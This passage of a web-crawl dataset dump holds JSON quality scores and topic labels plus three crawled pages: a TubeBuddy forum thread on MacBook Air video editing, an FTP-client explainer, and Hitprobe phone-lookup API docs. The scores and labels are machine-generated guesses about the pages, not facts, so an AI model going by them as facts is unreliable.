16662,
16743,
16776,
16835,
16844,
16924,
16933,
16952,
17002,
17011,
17045,
17082,
17135,
17194,
17215,
17224,
17304,
17313,
17332,
17416,
17490,
17556,
17565,
17599,
17636,
17688,
17761,
17782,
17791,
17800,
17809,
17889,
17936,
18016,
18025,
18112,
18193,
18244,
18253,
18336,
18403,
18412,
18442,
18476,
18523,
18570,
18639,
18660,
18669,
18678,
18687,
18767,
18802,
18882,
18891,
18976,
19063,
19123,
19132,
19166,
19210,
19303,
19324,
19333,
19342,
19351,
19431,
19495,
19575,
19584,
19695,
19763,
19772,
19801,
19810,
19819,
19828,
19908,
19933,
20013,
20022,
20105,
20184,
20236,
20273,
20282,
20291,
20300,
20380,
20404,
20484,
20493,
20565,
20596,
20605,
20655,
20710,
20719,
20728,
20737,
20817,
20849,
20929,
20938,
20947,
21030,
21053,
21142,
21169,
21178,
21187,
21285,
21389,
21490,
21524,
21550,
21569,
21578,
21587,
21671,
21760,
21792,
21835,
21878,
21915,
21934,
21943,
21952,
22001,
22063,
22131,
22209,
22235,
22258,
22279,
22300,
22309,
22318,
22392,
22458,
22484,
22507,
22528,
22549,
22558,
22567,
22650,
22735,
22817,
22900,
22909,
22984,
22993,
23077,
23158,
23241,
23321,
23406,
23487,
23538,
23547,
23586,
23595,
23660,
23696,
23705,
23815,
23854,
23863,
23902,
23976,
24009,
24018,
24064,
24102,
24111,
24145,
24177,
24186,
24265,
24302,
24311,
24387,
24432,
24441,
24478,
24548,
24582,
24591,
24634,
24679,
24688,
24737,
24782,
24791,
24830,
24873,
24882,
24981,
25025,
25034,
25124,
25167,
25176,
25210,
25240,
25288,
25307,
25316,
25347,
25362,
25391,
25429
],
"line_end_idx": [
6,
12,
13,
28,
29,
62,
132,
155,
185,
207,
226,
262,
303,
344,
378,
395,
403,
425,
433,
441,
473,
481,
491,
569,
636,
646,
663,
749,
759,
795,
902,
1009,
1063,
1117,
1197,
1251,
1261,
1339,
1418,
1462,
1472,
1480,
1488,
1567,
1614,
1693,
1701,
1789,
1857,
1944,
1952,
1983,
2037,
2145,
2316,
2355,
2377,
2395,
2403,
2411,
2490,
2525,
2604,
2612,
2675,
2699,
2771,
2779,
2813,
2867,
2888,
2896,
2904,
2983,
3026,
3105,
3113,
3196,
3248,
3326,
3420,
3483,
3491,
3523,
3556,
3612,
3674,
3714,
3781,
3805,
3825,
3843,
3851,
3859,
3938,
3961,
4040,
4048,
4100,
4152,
4201,
4209,
4240,
4298,
4351,
4373,
4392,
4401,
4410,
4419,
4499,
4539,
4619,
4628,
4637,
4657,
4724,
4775,
4830,
4881,
4890,
4905,
4959,
5017,
5026,
5041,
5091,
5153,
5204,
5254,
5263,
5276,
5321,
5376,
5431,
5482,
5491,
5509,
5559,
5613,
5663,
5714,
5723,
5747,
5802,
5858,
5927,
5982,
6050,
6105,
6160,
6215,
6277,
6335,
6390,
6445,
6454,
6463,
6472,
6552,
6619,
6699,
6708,
6766,
6826,
6889,
6948,
6957,
7026,
7095,
7142,
7172,
7181,
7220,
7248,
7329,
7364,
7386,
7426,
7454,
7504,
7539,
7561,
7570,
7579,
7659,
7685,
7765,
7774,
7806,
7815,
7929,
7964,
8000,
8143,
8233,
8256,
8277,
8286,
8341,
8375,
8411,
8485,
8558,
8633,
8706,
8787,
8874,
8955,
9035,
9121,
9205,
9290,
9384,
9462,
9539,
9626,
9704,
9740,
9810,
9831,
9840,
9874,
9913,
10001,
10065,
10148,
10252,
10387,
10408,
10417,
10436,
10445,
10454,
10534,
10586,
10666,
10675,
10729,
10807,
10874,
10962,
10971,
11059,
11098,
11107,
11141,
11169,
11178,
11239,
11312,
11321,
11406,
11481,
11490,
11518,
11593,
11602,
11616,
11691,
11766,
11841,
11850,
11864,
11936,
12008,
12017,
12054,
12126,
12135,
12172,
12245,
12318,
12391,
12464,
12537,
12610,
12683,
12756,
12765,
12795,
12868,
12877,
12895,
12968,
13041,
13114,
13187,
13264,
13273,
13301,
13373,
13445,
13454,
13475,
13484,
13493,
13502,
13582,
13604,
13684,
13693,
13748,
13782,
13811,
13832,
13841,
13914,
13939,
13999,
14022,
14031,
14040,
14049,
14129,
14181,
14261,
14270,
14352,
14431,
14480,
14489,
14531,
14587,
14629,
14674,
14683,
14692,
14701,
14781,
14818,
14898,
14907,
14967,
15051,
15060,
15094,
15222,
15243,
15252,
15261,
15270,
15350,
15380,
15460,
15469,
15559,
15617,
15626,
15707,
15815,
15824,
15858,
15893,
15921,
15946,
15967,
15976,
15985,
15994,
16074,
16137,
16217,
16226,
16329,
16426,
16516,
16525,
16615,
16653,
16662,
16743,
16776,
16835,
16844,
16924,
16933,
16952,
17002,
17011,
17045,
17082,
17135,
17194,
17215,
17224,
17304,
17313,
17332,
17416,
17490,
17556,
17565,
17599,
17636,
17688,
17761,
17782,
17791,
17800,
17809,
17889,
17936,
18016,
18025,
18112,
18193,
18244,
18253,
18336,
18403,
18412,
18442,
18476,
18523,
18570,
18639,
18660,
18669,
18678,
18687,
18767,
18802,
18882,
18891,
18976,
19063,
19123,
19132,
19166,
19210,
19303,
19324,
19333,
19342,
19351,
19431,
19495,
19575,
19584,
19695,
19763,
19772,
19801,
19810,
19819,
19828,
19908,
19933,
20013,
20022,
20105,
20184,
20236,
20273,
20282,
20291,
20300,
20380,
20404,
20484,
20493,
20565,
20596,
20605,
20655,
20710,
20719,
20728,
20737,
20817,
20849,
20929,
20938,
20947,
21030,
21053,
21142,
21169,
21178,
21187,
21285,
21389,
21490,
21524,
21550,
21569,
21578,
21587,
21671,
21760,
21792,
21835,
21878,
21915,
21934,
21943,
21952,
22001,
22063,
22131,
22209,
22235,
22258,
22279,
22300,
22309,
22318,
22392,
22458,
22484,
22507,
22528,
22549,
22558,
22567,
22650,
22735,
22817,
22900,
22909,
22984,
22993,
23077,
23158,
23241,
23321,
23406,
23487,
23538,
23547,
23586,
23595,
23660,
23696,
23705,
23815,
23854,
23863,
23902,
23976,
24009,
24018,
24064,
24102,
24111,
24145,
24177,
24186,
24265,
24302,
24311,
24387,
24432,
24441,
24478,
24548,
24582,
24591,
24634,
24679,
24688,
24737,
24782,
24791,
24830,
24873,
24882,
24981,
25025,
25034,
25124,
25167,
25176,
25210,
25240,
25288,
25307,
25316,
25347,
25362,
25391,
25429,
25432
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 25432,
"ccnet_original_nlines": 583,
"rps_doc_curly_bracket": 0.0015728200087323785,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.13267521560192108,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03514314070343971,
"rps_doc_frac_lines_end_with_ellipsis": 0.0017123300349339843,
"rps_doc_frac_no_alph_words": 0.5245804786682129,
"rps_doc_frac_unique_words": 0.5149842500686646,
"rps_doc_mean_word_length": 5.87973165512085,
"rps_doc_num_sentences": 784,
"rps_doc_symbol_to_word_ratio": 0.07107601314783096,
"rps_doc_unigram_entropy": 6.601639270782471,
"rps_doc_word_count": 2536,
"rps_doc_frac_chars_dupe_10grams": 0.007779490202665329,
"rps_doc_frac_chars_dupe_5grams": 0.025216279551386833,
"rps_doc_frac_chars_dupe_6grams": 0.025216279551386833,
"rps_doc_frac_chars_dupe_7grams": 0.025216279551386833,
"rps_doc_frac_chars_dupe_8grams": 0.025216279551386833,
"rps_doc_frac_chars_dupe_9grams": 0.013815299607813358,
"rps_doc_frac_chars_top_2gram": 0.017436789348721504,
"rps_doc_frac_chars_top_3gram": 0.015491919592022896,
"rps_doc_frac_chars_top_4gram": 0.047213468700647354,
"rps_doc_books_importance": -2286.072998046875,
"rps_doc_books_importance_length_correction": -2286.072998046875,
"rps_doc_openwebtext_importance": -1329.4866943359375,
"rps_doc_openwebtext_importance_length_correction": -1329.4866943359375,
"rps_doc_wikipedia_importance": -1185.75927734375,
"rps_doc_wikipedia_importance_length_correction": -1185.75927734375
},
"fasttext": {
"dclm": 0.04997795820236206,
"english": 0.3363858759403229,
"fineweb_edu_approx": 1.7988768815994263,
"eai_general_math": 0.0007059000199660659,
"eai_open_web_math": 0.6838417649269104,
"eai_web_code": 0.7419439554214478
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.74",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-952,143,438,499,442,800 |
• Guest - Earn a FREE TubeBuddy Upgrade for being active on the forums! Click Here to learn how you earn free upgrades for TubeBuddy!
• Guest - TubeBuddy has a discord! Click Here to join in the conversation!
Gear Question Macbook air 2020
SILTHW
DecoratedPoster
TubeBuddy Star
1,219
23
Subscriber Goal
1000
Short answer - it is fine for HD (1080p) video but may struggle a bit with 4k.
Long answer - if the main thing you will use it for is creative/media work, Apple makes the Macbook Pro specifically for that purpose. You can find better performing Windows laptops in the same price range as the Macbook Air.
Relentluss Gaming
New Member
13
4
I have the 13' 2020 Air I3, as SILTHW said 1080 is ok but not if you are going to heavily color grade it and add titles and lower thirds to your videos, you will get a lot of stutter.
As for 4k, I had to drop my videos to 1080, as it would freeze up and stutter horribly.
Beanie Draws
Moderator
Moderator
2,192
26
www.youtube.com
Subscriber Goal
30000
I'd personally go with a 13" macbook pro. They're more forgiving in what they can do. MacBook Air's have really only really been designed for school work, study, office kind of things like word processing, web browsing, not a whole lot more. The lighter and thinner the computer, the less room to breath, less room for processors and graphics cards. Heck, my old 15 inch macbook pro from 10 years ago would constantly thermal throttle for overheating. Video editing and any kind of content creating really, is very graphics and processor resource heavy and a MacBook Air really isn't designed for that. You'll be frustrated with it within a year I'm sure. Doug Hewson had a MacBook air and it would constantly struggle to even livestream from.
At minimum I'd go with a 13" MacBook Pro with a thunderbolt port so you can get yourself an external graphics card enclosure for a bit of upgradability and longevity.
|
{
"url": "https://community.tubebuddy.com/index.php?threads/34295/",
"source_domain": "community.tubebuddy.com",
"snapshot_id": "crawl=CC-MAIN-2020-50",
"warc_metadata": {
"Content-Length": "84937",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:TLKV4Q36Q6VKWI3GSKXX2NQ7FFY6WWLH",
"WARC-Concurrent-To": "<urn:uuid:296003e8-3648-4b74-ae18-4306c748e8a0>",
"WARC-Date": "2020-12-01T21:31:46Z",
"WARC-IP-Address": "13.91.255.80",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RL7HLYZKR7OHTBBFSS7MYDJC56GBYIB7",
"WARC-Record-ID": "<urn:uuid:81f96400-951d-4d51-9346-250065165bf6>",
"WARC-Target-URI": "https://community.tubebuddy.com/index.php?threads/34295/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:c0ccaeb6-890f-4df4-b66f-ca85e18e3790>"
},
"warc_info": "isPartOf: CC-MAIN-2020-50\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-4.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
136,
213,
214,
245,
246,
253,
254,
270,
285,
291,
294,
310,
315,
394,
395,
621,
623,
624,
642,
643,
654,
657,
659,
843,
844,
932,
934,
935,
948,
949,
959,
969,
975,
978,
994,
1010,
1016,
1760,
1761,
1928
],
"line_end_idx": [
136,
213,
214,
245,
246,
253,
254,
270,
285,
291,
294,
310,
315,
394,
395,
621,
623,
624,
642,
643,
654,
657,
659,
843,
844,
932,
934,
935,
948,
949,
959,
969,
975,
978,
994,
1010,
1016,
1760,
1761,
1928,
1929
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 1929,
"ccnet_original_nlines": 40,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.38308456540107727,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.024875620380043983,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.18159204721450806,
"rps_doc_frac_unique_words": 0.5828402638435364,
"rps_doc_mean_word_length": 4.4852070808410645,
"rps_doc_num_sentences": 20,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.983682632446289,
"rps_doc_word_count": 338,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.025065960362553596,
"rps_doc_frac_chars_dupe_6grams": 0.025065960362553596,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.026385219767689705,
"rps_doc_frac_chars_top_3gram": 0.014511870220303535,
"rps_doc_frac_chars_top_4gram": 0.01187334954738617,
"rps_doc_books_importance": -182.4986114501953,
"rps_doc_books_importance_length_correction": -182.4986114501953,
"rps_doc_openwebtext_importance": -92.36385345458984,
"rps_doc_openwebtext_importance_length_correction": -92.36385345458984,
"rps_doc_wikipedia_importance": -83.12718963623047,
"rps_doc_wikipedia_importance_length_correction": -83.12718963623047
},
"fasttext": {
"dclm": 0.06923025846481323,
"english": 0.9525349736213684,
"fineweb_edu_approx": 1.1228960752487183,
"eai_general_math": 0.007233799900859594,
"eai_open_web_math": 0.10118913650512695,
"eai_web_code": 0.0010438599856570363
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.457",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
2,927,387,645,153,638,000 |
What is an FTP client?
An FTP client is a software application used to send and receive files from an FTP server in Internet.
Nowadays many people use FTP clients to update the files used in web servers but the main purpose is the storage of files of any kind organized into directories.
The FTP servers may allow public access to their files or allow access only to certain users. These private FTP servers use usernames and passwords to restrict the access to their files while the public FTP servers allow anyone to access their files using anonymous as username and any email address as password.
Public FTP servers are also called anonymous FTP servers and they usually store their public files inside a directory called pub.
It's not unusual to find FTP servers that keep a complete copy of other servers inside a directory called mirror.
Legal notesBriskBard's EULA (End User License Agreement)About meSitemapSearch
Copyright © 2016 All rights reserved.
Cookie usage
By browsing our site you agree to our use of cookies. You will only see this message once.
Find out more
Ok
|
{
"url": "https://www.briskbard.com/index.php?lang=en&faqitem=702",
"source_domain": "www.briskbard.com",
"snapshot_id": "crawl=CC-MAIN-2016-44",
"warc_metadata": {
"Content-Length": "9821",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:FVWTX3N44XJCE36UR22GV6VSXH2C62WA",
"WARC-Concurrent-To": "<urn:uuid:ab621183-332d-4e41-9164-6b2be53c5f11>",
"WARC-Date": "2016-10-24T06:54:27Z",
"WARC-IP-Address": "143.95.241.195",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:N7YTX4AVDRYQLPZCFV7H7LKAU6KKDVXW",
"WARC-Record-ID": "<urn:uuid:77b40152-cf6b-44c2-8bd8-ee4a8a4a2f02>",
"WARC-Target-URI": "https://www.briskbard.com/index.php?lang=en&faqitem=702",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:29ca2361-6aa5-4e35-8f9d-3baf3e96f9df>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-6-4.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-44\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for October 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
23,
24,
127,
128,
290,
291,
604,
605,
735,
736,
850,
851,
929,
968,
981,
982,
1073,
1087
],
"line_end_idx": [
23,
24,
127,
128,
290,
291,
604,
605,
735,
736,
850,
851,
929,
968,
981,
982,
1073,
1087,
1089
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 1089,
"ccnet_original_nlines": 18,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.39603960514068604,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05445545166730881,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.07920791953802109,
"rps_doc_frac_unique_words": 0.5945945978164673,
"rps_doc_mean_word_length": 4.77297306060791,
"rps_doc_num_sentences": 11,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.408495903015137,
"rps_doc_word_count": 185,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.06795016676187515,
"rps_doc_frac_chars_top_3gram": 0.0249150600284338,
"rps_doc_frac_chars_top_4gram": 0.04077009856700897,
"rps_doc_books_importance": -78.41912841796875,
"rps_doc_books_importance_length_correction": -78.41912841796875,
"rps_doc_openwebtext_importance": -41.28695297241211,
"rps_doc_openwebtext_importance_length_correction": -31.426090240478516,
"rps_doc_wikipedia_importance": -19.822643280029297,
"rps_doc_wikipedia_importance_length_correction": -19.822643280029297
},
"fasttext": {
"dclm": 0.17597049474716187,
"english": 0.9185007810592651,
"fineweb_edu_approx": 2.6792290210723877,
"eai_general_math": 0.018339160829782486,
"eai_open_web_math": 0.04160124063491821,
"eai_web_code": 0.13240790367126465
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.74",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "1",
"label": "Factual"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-977,627,819,207,806,100 |
Skip to main content
Response phone object
Phone
The phone object normalizes a user-provided (loosely formatted) phone number and provides information on the current network, type of number, the country, and live reachability.
It's available in the result whenever a phone is provided in the input data.
If the lookup is unsuccessful, success will be false. If the phone number cannot be reliably coerced into international format, valid will be false. The success and valid properties are always present, but other properties only exist where success and valid are true.
info
Phone number checks will incur extra credit usage.
Examples
Unsuccessful:
{
...
"phone": {
"success": false,
"valid": null
},
...
}
Successful but not valid:
{
...
"phone": {
"success": true,
"valid": false
},
...
}
Valid:
{
...
"phone": {
"success": true,
"valid": true,
"in_country": true,
"phone": "+12126647665",
"phone_international": "+1 212-664-7665",
"phone_national": "(212) 664-7665",
"carrier": "T-Mobile",
"carrier_high_risk": false,
"country_name": "United States",
"country_code": "US",
"type": "mobile",
"reachable": true,
"seen_hour": 1,
"seen_day": 1,
"seen_month": 1,
"seen_quarter": 1
},
...
}
Properties
PropertyDescriptionType
successSet to true only if the lookup is successful.boolean
validSet to true when the phone number is in a recognised format and can be coerced into E.164 (international) format. Set to null where the lookup fails.boolean or null
phoneThe phone number in E.164 format.string
phone_internationalThe phone number in international format.string
phone_nationalThe phone number in national format, i.e. the local format without the country code.String
carrierThe current carrier for the phone number. If the number has been ported, the latest carrier (the current network) will be shown here.string or null
carrier_high_riskWhether the carrier is known to be higher risk.boolean or null
country_nameFull name of the country of the carrier.string or null
country_codeTwo-letter (ISO 3166-1 alpha-2) country code for the carrier.string or null
typeA string representing the likely type of phone number. See below for the possible values. Can be null where the type can't be determined.string or null
reachableSet to true if reachable, false if not reachable, and null if reachability can't be determined (usually because of the number type or obfuscation by the carrier).boolean or null
seen_hourNumber of times events have been seen with this phone number since the start of the previous hour.integer
seen_dayNumber of times events have been seen with this phone number since yesterday.integer
seen_monthNumber of times events have been seen with this phone number since the start of last month.integer
seen_quarterNumber of times events have been seen with this phone number since the start of the last calendar quarter.integer
Number types
TypeDescription
fixedFixed line (landline) number
fixed_or_mobileEither fixed line or mobile (in a country where they can't be distinguished)
mobileMobile (cellular) number
pagerPager number
personalPersonal number
premium_ratePremium rate number
shared_costShared-cost number
toll_freeToll-free (freephone) number
uanUniversal access number (UAN)
voicemailVoicemail-only number
voipVoIP (Voice over Internet Protocol) number
Resolving phone numbers
Be sure to either provide a number in E.164 format, or set the site's country code to match the country that users are expected to be in, to ensure accurate parsing.
Otherwise, we'll still attempt to parse the number, but the ambiguity may lead to unreliable results.
About our carrier and reachability data
We make a real-time home location register (HLR) lookup over the SS7 signalling system in order to determine the current network and reachability of a phone number.
A reachable status of true means the telephone number is live and is assigned to a subscriber who has recently used their phone.
There are additional checks on reachability for fixed line numbers in the UK & Ireland, and for mobile numbers in the USA or US territories. We'll make these checks automatically and reflect the result within the reachable field.
|
{
"url": "https://docs.hitprobe.com/reference/phone/",
"source_domain": "docs.hitprobe.com",
"snapshot_id": "CC-MAIN-2024-26",
"warc_metadata": {
"Content-Length": "35960",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:MDLRNXYW3TLAJOVPFY4FYHEKY6OG6QSP",
"WARC-Concurrent-To": "<urn:uuid:2fa1616b-a68b-49ec-bff2-47afa519b443>",
"WARC-Date": "2024-06-25T13:01:03Z",
"WARC-IP-Address": "104.21.19.30",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:V4PP4SUJAUEJYTESW4O23PP7UBF23PIG",
"WARC-Record-ID": "<urn:uuid:5ce2beba-dfcc-4c6d-91fd-d10a739736bc>",
"WARC-Target-URI": "https://docs.hitprobe.com/reference/phone/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:7b83cc50-8809-4c72-933c-d4c8ad6b7e48>"
},
"warc_info": "isPartOf: CC-MAIN-2024-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-37\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
21,
22,
44,
45,
51,
52,
230,
231,
308,
309,
577,
578,
583,
584,
635,
636,
645,
646,
660,
661,
663,
667,
678,
696,
710,
713,
717,
719,
720,
746,
747,
749,
753,
764,
781,
796,
799,
803,
805,
806,
813,
814,
819,
823,
834,
851,
866,
886,
911,
953,
989,
1012,
1040,
1073,
1095,
1113,
1132,
1148,
1163,
1180,
1198,
1201,
1205,
1207,
1208,
1219,
1220,
1244,
1304,
1474,
1519,
1586,
1691,
1846,
1926,
1993,
2081,
2237,
2424,
2539,
2632,
2741,
2867,
2868,
2881,
2882,
2898,
2932,
3024,
3055,
3073,
3097,
3129,
3159,
3197,
3230,
3261,
3308,
3309,
3333,
3334,
3500,
3501,
3603,
3604,
3644,
3645,
3810,
3811,
3940,
3941
],
"line_end_idx": [
21,
22,
44,
45,
51,
52,
230,
231,
308,
309,
577,
578,
583,
584,
635,
636,
645,
646,
660,
661,
663,
667,
678,
696,
710,
713,
717,
719,
720,
746,
747,
749,
753,
764,
781,
796,
799,
803,
805,
806,
813,
814,
819,
823,
834,
851,
866,
886,
911,
953,
989,
1012,
1040,
1073,
1095,
1113,
1132,
1148,
1163,
1180,
1198,
1201,
1205,
1207,
1208,
1219,
1220,
1244,
1304,
1474,
1519,
1586,
1691,
1846,
1926,
1993,
2081,
2237,
2424,
2539,
2632,
2741,
2867,
2868,
2881,
2882,
2898,
2932,
3024,
3055,
3073,
3097,
3129,
3159,
3197,
3230,
3261,
3308,
3309,
3333,
3334,
3500,
3501,
3603,
3604,
3644,
3645,
3810,
3811,
3940,
3941,
4170
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 4170,
"ccnet_original_nlines": 111,
"rps_doc_curly_bracket": 0.0028776999097317457,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.28729963302612305,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.016029590740799904,
"rps_doc_frac_lines_end_with_ellipsis": 0.0535714291036129,
"rps_doc_frac_no_alph_words": 0.2515413165092468,
"rps_doc_frac_unique_words": 0.4258943796157837,
"rps_doc_mean_word_length": 5.5809197425842285,
"rps_doc_num_sentences": 42,
"rps_doc_symbol_to_word_ratio": 0.007398270070552826,
"rps_doc_unigram_entropy": 4.885164260864258,
"rps_doc_word_count": 587,
"rps_doc_frac_chars_dupe_10grams": 0.07081806659698486,
"rps_doc_frac_chars_dupe_5grams": 0.08669108897447586,
"rps_doc_frac_chars_dupe_6grams": 0.07081806659698486,
"rps_doc_frac_chars_dupe_7grams": 0.07081806659698486,
"rps_doc_frac_chars_dupe_8grams": 0.07081806659698486,
"rps_doc_frac_chars_dupe_9grams": 0.07081806659698486,
"rps_doc_frac_chars_top_2gram": 0.04700855165719986,
"rps_doc_frac_chars_top_3gram": 0.015873020514845848,
"rps_doc_frac_chars_top_4gram": 0.020757019519805908,
"rps_doc_books_importance": -435.12725830078125,
